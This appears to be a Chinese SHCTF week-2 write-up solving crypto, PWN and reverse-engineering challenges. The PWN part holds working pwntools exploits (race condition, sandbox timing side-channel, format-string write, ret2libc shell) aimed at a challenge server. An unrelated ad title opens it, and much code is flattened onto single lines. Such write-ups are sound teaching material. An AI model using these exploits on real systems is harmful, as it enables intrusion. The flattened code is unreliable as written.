越秀移動(dòng)網(wǎng)站建設(shè)怎么在百度上發(fā)布廣告
官方WP出得很快。對(duì)照官的寫下私的。大概出入不大,畢竟第2周。后邊的才難。
Crypto
E&R
RSA因子分解題,把q的2進(jìn)制反轉(zhuǎn)后與p異或。關(guān)于異或的題很多,這個(gè)還真是頭一回見,不過爆破方法還是一樣的。
r_q = int(bin(q)[2:][::-1] , 2)
leak = p ^^ r_q
爆破都比較簡單分三步,
1是個(gè)遞歸,由于給的是異或所以每種情況兩個(gè)值。
2是剪枝,爆破沒有剪枝就不可能完成,畢竟有幾百步。這里由于p和q是反的,所以要把q的尾部轉(zhuǎn)成p的尾部(乘逆)然后判斷全1是否不足N全0是否超N,過濾掉不接入正確值的分枝。
3是個(gè)cooper,也可以不用直接遞歸到底,不過一般差幾百就可以直接出結(jié)果了。
def pq_xor(tp,tq,idx):global ok,cnt if ok:return #通過tq的尾部得到tp的尾部mod =2^idx p = int(tp,2)ql = int(tq[::-1],2)%modpl = N*inverse_mod(ql,mod)%modp += pl#通過p的尾部得到q的頭部qh = (pl^^leak)%modprint(hex(qh),hex(pl), hex(mod),hex(pl^^leak))q = int((bin(qh)[2:].zfill(256))[::-1],2)+qlmid = int('1'*(256-2*idx) + '0'*idx,2)print(hex(mid))print(hex(p))print(hex(q))#過濾掉越界的部分if p*q>N:print('>')return False elif (p+mid)*(q+mid)<N:print('<')return False if idx>=80:cnt += 1try:PR.<x> = PolynomialRing(Zmod(N))f = int(tp,2) + x*mod + pl print('Try', len(hex(p)))rr = f.monic().small_roots(X=2^(256-2*idx), beta=0.4)if rr != []:print(rr)print(tp)p = int(f(rr[0]))print('p = ',p)ok = Truereturnexcept:passreturnprint('idx',idx)if leak&(1<<(255-idx))==0:pq_xor(tp[:idx]+'1'+tp[idx+1:], tq[:idx]+'1'+tq[idx+1:], idx+1)pq_xor(tp[:idx]+'0'+tp[idx+1:], tq[:idx]+'0'+tq[idx+1:], idx+1)else:pq_xor(tp[:idx]+'1'+tp[idx+1:], tq[:idx]+'0'+tq[idx+1:], idx+1)pq_xor(tp[:idx]+'0'+tp[idx+1:], tq[:idx]+'1'+tq[idx+1:], idx+1)returnleak = 5599968251197363876087002284371721787318931284225671549507477934076746561842
N = 7120275986401660066259983193598830554385933355254283093021239164350142898387660104515624591378875067038235085428170557400012848874756868985306042421950909ok = False
cnt = 0
tp = tq = '1'+'0'*255
pq_xor(tp,tq, 1)p = 64760524083545528318139240449356269097871629401328435356643510319660757701117
d = invert(e,p-1)m2 = pow(c,d,p)
#3939513057628514533900105670644286436358199
long_to_bytes(int(m2))
b'-908f-7c002c687387'
后半部分是個(gè)橢圓出線P=e*G,其中曲線參數(shù)都給了n是上邊這個(gè)n,m是G的x值,顯然不是求私鑰的題,是已知P求基點(diǎn),乘e的E.order()的逆即可。
p = 64760524083545528318139240449356269097871629401328435356643510319660757701117
E = EllipticCurve(Zmod(p),[114514,1919810])
e_ = inverse_mod(e,E.order())
G = e_ * E(P)
long_to_bytes(int(G.xy()[0]))
padding
RSA在CTF里是個(gè)永恒的主題。這里flag有點(diǎn)長,然后加了padding,但是padding已經(jīng)給了,所以未知部分并不太長,符合coopersmith的條件。
e = 0x3
pad = b'a_easy_problem'
c = pow(bytes_to_long(flag + pad),e,n)
所以直接cooper求解即可
n = 121610581737140600160984832143780045854376696605462678058314779684541675438360954665201512582717184846898732519886408218195115222060925767845182101140985619311569961917165751064108952508715526280654203536289957423921564359664115494280822305174952928768288903200070997282969262755970515223933920417266433278789
c = 56315992669696576544280004341339659214473025294542882124309146208269511334821601242728246283362133643638287054408079279238613115250993778355793431158445018157767456378641306161910716971442727571150196541091591821568737809034772939233013836870367817187622454372405657328507359960344342975570184378962591190001t = b'SHCTF{'+b'\x00'*32+b'}a_easy_problem'
t = bytes_to_long(t)
P.<x> = PolynomialRing(Zmod(n))
f = (t+x*256^15)^3 - c
res = f.monic().small_roots(X=2^(8*32), beta=1, epsilon=0.05)
long_to_bytes(int(f(res[0])))
worde很大
已知e和dp分解n, dp = d mod (p-1) ,由于p-1是phi的因子,所以這里隨便拿個(gè)數(shù)大概率g^t%n-1就是p 這里用d,dp效果都一樣。
from gmpy2 import gcd
import random def e_dn(e_d,n):k=e_d-1while True:g= random.randint(2,n-1)t=kwhile True:if t%2!=0:breakt=t//2x=pow(g,t,n)if x > 1 and gcd(x-1, n) > 1:p=gcd(x-1,n)q=n//preturn p,q#這里的dp也能用
p,q=e_dn(e*dp,n)
m = pow(c,dp,p)
long_to_bytes(m)
#b'SHCTF{WoRD_E_y0u_Dlan_d4_0oG0C0}'
魔鬼的步伐
這里的漏洞在于p是由一堆小因子相乘后加1得到,也就是p-1光滑。
def get_Prime(bits):while True:n = 2while n.bit_length() < bits:n *= choice(primes)if isPrime(n + 1):return n + 1
#p+1光滑
import gmpy2
N = n
a = 2
k = 2
while True:a = pow(a, k, N)res = gmpy2.gcd(a-1, N)if res != 1 and res != N:q = N // resprint("k=",k)print("p=",res)print("q=",q)breakn += 1
ezECC
橢圓曲線的一些運(yùn)算
m = next_prime(bytes_to_long(flag))
p = getPrime(512)
a,b = getPrime(128),getPrime(128)
E = EllipticCurve(Zmod(p),[a,b])
k = getPrime(256)
A1 = E.random_point()
A2 = A1*k
M = E.lift_x(m)
C = M+A2
行是求參,根據(jù)方程y^2=x^3+ax+b mod p ,已知2個(gè)點(diǎn)A1,C帶入即可。
#y^2 = x^3 +a*x +b
#求參數(shù)
a = (A1[0]^3-C[0]^3 -A1[1]^2+C[1]^2)*inverse_mod(-A1[0]+C[0],p)%p
b = (-A1[0]^3 -a*A1[0] + A1[1]^2)%p
?然后是個(gè)減法,由于A1和k已知所以A2也算是已知直接乘,而橢圓曲線的減法可以直接減。
另外這里的x是next_prime(flag)所以有點(diǎn)小誤差。
ec = E(C)
ea1 = E(A1)
ea2 = ea1*k
M = ec - ea2
PWN
easy_competition
關(guān)于資源共享的問題,輸入會(huì)被存在共享內(nèi)存里,檢查后2秒才會(huì)執(zhí)行,這樣起兩個(gè)進(jìn)程,一個(gè)寫個(gè)可以檢查通過的值,然后第2個(gè)再寫入超常的值,第1個(gè)進(jìn)程會(huì)執(zhí)行修改過的值(臟數(shù)據(jù))從而繞過檢查。
from pwn import *
context(arch='amd64', log_level='debug')p1 = remote('210.44.150.15', 46333)
p2 = remote('210.44.150.15', 46333)p1.send(p64(0))
p2.send(p64(0x404120))p1.interactive()
ez_sandbox
?沙箱題,只開了open+read沒有輸出就可能通過判斷程序是否退出來確認(rèn)對(duì)比值是否正確。官WP里用了:在正確時(shí)read,我一般用正確時(shí)循環(huán)。不過我這個(gè)不好,read會(huì)阻塞,不占資源而死循環(huán)會(huì)讓CPU冒煙。
而這個(gè)題的后臺(tái)可能因?yàn)檠h(huán)造成的有問題,延時(shí)會(huì)不斷增加,導(dǎo)至一會(huì)就會(huì)超過判斷的閥值。所以還是用官WP里的read比較好。
from pwn import *
import time
context(arch='amd64', log_level='error')def getv(i,v):#p = process('./pwn')#gdb.attach(p,"b*0x5555555553e0\nc")p = remote('210.44.150.15', 45964)code = 'add rax,0x100; push rax;pop r15; add rax,0x100;push rax;pop r14;'+shellcraft.open('flag')+shellcraft.read('rax', 'r15', 0x50)code += f"\nmov al, byte ptr[r15+{i}]; mov bl,{v}; loop: cmp al,bl; jz loop; push 62;pop rax; syscall;" #60 exit,62 kill,231 exit_groupp.send(asm(code))t = time.time()try:p.recv(timeout=4)#p.interactive()except:passk = time.time()-tprint(k)p.close()if k>4.0:return Trueelse:return False#getv(1, 0x66)
if 0:p = remote('210.44.150.15',44281)code = 'add rax,0x100; push rax;pop r15;'+shellcraft.open('flag')+'\nloop: cmp al,3; jz loop;mov rax,1;syscall;'p.send(asm(code))t = time.time()try:p.recvall(timeout=3)p.close()except:print('xxx')p.close()print(time.time()-t)#SHCTF{S4ndB0X_4R3_maD3_OF_sAnd_df9c5c431b93}
flag = 'SHCTF{S4ndB0X_4R3_maD3_OF_sAnd_df9c5c431b93}'
for i in range(len(flag), 70):for v in b'0123456789abcdef_{}ghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ-!?&^%$#@!~()+=':print(chr(v), end='')if getv(i,v):flag += chr(v)print(flag)breakprint(flag)
ezorw
?這題出的非常巧妙。main打開flag然后調(diào)用vuln,vuln會(huì)從標(biāo)準(zhǔn)輸入讀數(shù)據(jù)輸出,然后關(guān)掉flag文件并清指針。
問題就在于清fd這。文件關(guān)閉后半不需要清理fd,它只是個(gè)編號(hào)并不是指針。
所以這題通過溢出重排下調(diào)用關(guān)系,vuln溢出將返回地址改為調(diào)用vuln前,這樣執(zhí)行完后并不重新打開文件而是重入,這時(shí)候讀第2個(gè)payload正常的不用溢出,之后會(huì)執(zhí)行關(guān)閉文件操作,由于文件并沒有打開fd還是0,所以會(huì)關(guān)閉標(biāo)準(zhǔn)輸入。再次再次執(zhí)行打開文件時(shí)fd會(huì)使用0,然后就從0讀出flag輸出。
from pwn import *
context(arch='amd64', log_level='debug')p = remote('210.44.150.15', 49888)p.sendafter(b"Give you a gift\n", b'A'*0x18+b'\xbb')
sleep(0.5)
#close(0)
p.send(b'A'*0x18+b'\x97')p.interactive()
json_printf
后邊這兩個(gè)題就沒意思了,給了名字顯然輸入要求用json格式(猜,因?yàn)閖son解析那個(gè)函數(shù)很難看懂),然后就是一個(gè)簡單的printf到門匙。
from pwn import *
context(arch='i386', log_level='debug')p = remote('210.44.150.15', 31325)p.sendlineafter(b"How to send data?\n", b'{"name":"%999c%10$n '+p32(0x8052074)+b'","age":18}')p.interactive()
json_stackoverflow
為作新詞強(qiáng)說愁。
from pwn import *
context(arch='i386', log_level='debug')
elf = ELF('./pwn')
libc = ELF('./libc.so.6')p = remote('210.44.150.15',22826)p.sendlineafter(b"How to send data?\n", b'{"name":"'+b'A'*0x4c+flat(elf.plt['puts'],0x8049432,elf.got['puts'])+b'","age":18}')
p.recvline()
p.recvline()
libc.address = u32(p.recv(4)) - libc.sym['puts']
print(f"{libc.address = :x}")p.sendlineafter(b"How to send data?\n", b'{"name":"'+b'A'*0x4c+flat(libc.sym['system'],0x41414141,next(libc.search(b'/bin/sh\0')))+b'","age":18}')p.interactive()
REV
下周基本就是難題了,REV就作不了了。
Android?Harmony!
這個(gè)作了好幾天。先改擴(kuò)展名zip解兩次,出來的.abc文件到網(wǎng)站上在線反編譯。出來的代碼巨難看。
大致理解成兩塊,其實(shí)是3塊,所以一開始沒作出來。代碼太難看了,估計(jì)用編譯工具優(yōu)化后的會(huì)好點(diǎn)。
第1塊是個(gè)迷宮,這個(gè)按層遍歷就能弄到最優(yōu)解。他沒說是WASD還是0123所以flag不是路徑。
msg = open('maze.py').readlines()maze = [[0]*85 for i in range(85)]for i in range(85):for j in range(85):maze[i][j] = msg[i][j]xx = [[-1,0],[1,0],[0,-1],[0,1]]way = [['',[1,83]]]
ok = False
while True:tway = []for k in way:for i,x in enumerate(xx):fx,fy = k[1][0]+x[0], k[1][1]+x[1]if fx==77 and fy==1:print(k[0]+str(i))ok = Truebreakif maze[fx][fy] == ' ':maze[fx][fy] = 'X'tway.append([k[0]+str(i),[fx,fy]])if ok:breakif ok:breakway = tway.copy()#112211221133331122222222112211113333111111221133111111111122112222222211221133330033111111220022111133113311330000333311221133112211221133331122222200002211220022111133113333333333112222221133331133003300333311221133111122221122112211222200330000221122002211112211220022112211222222221133111122222222222222222200002211220000330000002211222222000033333333330022222222000000220000333333002200221122220000002200221111331122222211222200002200221111113311111122002211113311331122112222000000000022111111111111331133111122002211
第2塊是一個(gè)encode函數(shù)解出來的東西很長,能看到除了SHCTF{}和-以外就是16進(jìn)制字符。只是很難看出來是怎么組合的。
secretKey = "[f#fLw)??Pz?#9w)Du[ks[q[#w4D?4P4UJf,kU[f.rDkfwrDtq...)?J.#rP4[qrPDJkkJ|.9J|qffU?k|D4P4P[wkk.)k?JUJ[k#9kww[r??wUfw|PkrPUf.P#f.P#.PwJ4f4q.PU4UPDr9.[9fJ#PqP)cDDffJPDrJ.J4qPP[r[.JfJ4f|?U9#"b = bytes([(v-32-1919810)*39%95 + 32 for v in secretKey.encode()])
#b4c4S20331H3cf208Cb9Tbebc2a83a1a6d4F96b45-8942-8{e55503d5c-1abe-18d99d75fd7e4463978a1a1b2995093d6db9cf922b-332642719-16451c451c512da4ae516a618-f5bf4dc1e10}8844d18-d5dae11b-b5d4da4736fc
第3塊其實(shí)是關(guān)于組合的fillflag,他按行列在迷宮里找3、4叉路口。然后把字符放上去。
msg = open('maze.py').readlines()maze = [[0]*85 for i in range(85)]for i in range(85):for j in range(85):maze[i][j] = msg[i][j]way = '112211221133331122222222112211113333111111221133111111111122112222222211221133330033111111220022111133113311330000333311221133112211221133331122222200002211220022111133113333333333112222221133331133003300333311221133111122221122112211222200330000221122002211112211220022112211222222221133111122222222222222222200002211220000330000002211222222000033333333330022222222000000220000333333002200221122220000002200221111331122222211222200002200221111113311111122002211113311331122112222000000000022111111111111331133111122002211'ss = 'b4c4S20331H3cf208Cb9Tbebc2a83a1a6d4F96b45-8942-8{e55503d5c-1abe-18d99d75fd7e4463978a1a1b2995093d6db9cf922b-332642719-16451c451c512da4ae516a618-f5bf4dc1e10}8844d18-d5dae11b-b5d4da4736fc'.ljust(522,' ')#先將串放到至少3叉路口上 Fillflag,CheckGround
idx = 0
for i in range(1,84):for j in range(1,84):if maze[i][j] != ' ': continuew = 0if maze[i-1][j] == ' ': w+=1if maze[i+1][j] == ' ': w+=1if maze[i][j-1] == ' ': w+=1if maze[i][j+1] == ' ': w+=1if w>2:maze[i][j]=ss[idx]idx+=1#沿最短徑收集flag字符
xx = [[-1,0],[1,0],[0,-1],[0,1]]
fx,fy = 1,83
flag = ''
for i in range(len(way)):if i>=len(ss): breakif maze[fx][fy] != ' ':flag += maze[fx][fy]else:maze[fx][fy] = '+'k = xx[int(way[i])]fx += k[0]fy += k[1]print(flag)
#SHCTF{81f6ad65-9da6-41ae-bd61-88dea61332f1}
open('m2.txt','w').write('\n'.join([''.join(maze[i])for i in range(85)]).replace('#','.'))
把字符和迷宮放在一張圖上就能看到flag是這個(gè)路徑上的字符。
Loader
loader把enc文件解密后載入執(zhí)行,顯然手工解密后基本就完成了。
#loaddata對(duì)enc解密后導(dǎo)入
v9 = [0xC, 0x42, 9, 3, 0, 0x25, 0xB, 0x15, 4]
data = open('enc','rb').read()
d = []
for i in range(len(data)):d.append(((data[i]-v9[(i+2)%9])^v9[i%9])&0xff)open('mm.dat','wb').write(bytes(d))
后邊是個(gè)麻煩事,因?yàn)檫@個(gè)java的Random不大好模擬,只能用java寫小段。
import java.util.Random;public class HelloWorld {public static void main(String []args) {String CHARACTERS = "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz";Random random = new Random(4310);StringBuilder sb = new StringBuilder(12);for (int i3 = 0; i3 < 12; i3++) {sb.append(CHARACTERS.charAt(random.nextInt(CHARACTERS.length())));}System.out.println(sb.toString());}
}
//QdUOJ7V7Xruo
//SHCTF{QdUOJ7V7Xruo}
babytea
略
from ctypes import *
from pwn import p32'''v0 = *a1;v1 = a1[1];total = 0x8DDE2E40;for ( i = 0; i <= 0x3F; ++i ){v1 -= (((16 * v0) ^ (v0 >> 5)) + v0) ^ v0 ^ (*(_DWORD *)(4i64 * ((total >> 11) & 3) + key) + total);total += 0x61C88747;v0 -= (((16 * v1) ^ (v1 >> 5)) + v1) ^ v1 ^ (*(_DWORD *)(4i64 * (total & 3) + key) + total);}*a1 = v0;result = a1 + 1;a1[1] = v1;
'''
def decrypt(v, k):v0, v1 = c_uint32(v[0]), c_uint32(v[1])delta = 0x61C88747k0, k1, k2, k3 = k[0], k[1], k[2], k[3]cnt = 0x40total = c_uint32(0x8DDE2E40 + delta * cnt)for i in range(cnt):v0.value += (((v1.value<<4)^(v1.value>>5))+v1.value) ^ v1.value ^(k[total.value&3] + total.value) total.value -= deltav1.value += (((v0.value<<4)^(v0.value>>5))+v0.value) ^ v0.value ^(k[(total.value>>11)&3] + total.value) return p32(v0.value)+p32(v1.value) enc = [415425337,-380302974,277491959,25440477,-706848848,-734132416,-198189596,-1769437464,-438862983,1750955407]
key = [1,1,2,3]flag = b''.join([decrypt(enc[i:i+2],key) for i in range(0,10,2)])
print(flag)
#shctf{962fd-464d-8f4f-f1fd-a6a0c987c569}
cancanneed
AES加密,沒有key
在win11的機(jī)子上用jadx可以看到 res/raw/xxnd.jpg這張圖,實(shí)際找不到叫這個(gè)名字,從目錄里找到兩張一樣的圖。從圖上取key來解密。
from base64 import b64decode
from Crypto.Cipher import AES
from hashlib import md5enc = "7zkErqD/oevxjIIjgJswFk3+vDgw5tvK3Cgr/GIYeZEQ5Gq/6v9LPTiUswKcx5ha"
enc = b64decode(enc)#/res/raw/xxnd.jpg 到res目錄下找到看上去一樣的兩張圖片(相同)
key = open('x4.jpg','rb').read()[2080:2080+16]aes = AES.new(key,AES.MODE_ECB)
flag = aes.decrypt(enc)
print(flag)#SHCTF{Yu_@re_Very_N8_oF_@nDr01d}
花語
就是花指令專對(duì)夫ida的。找到反編譯不成功的地方,手工nop掉就OK了,加密很簡單
a = [i for i in "!}ggagllllff_fau_hisY_keF{CTSH"]
for j in range(14):k = a[29-j]a[29-j]=a[j]a[j]=kfor i in range(0,29,2):k = a[i]a[i]=a[i+1]a[i+1]=k''.join(a)
#SHCTF{keY_is_hua_fffllllaggg!}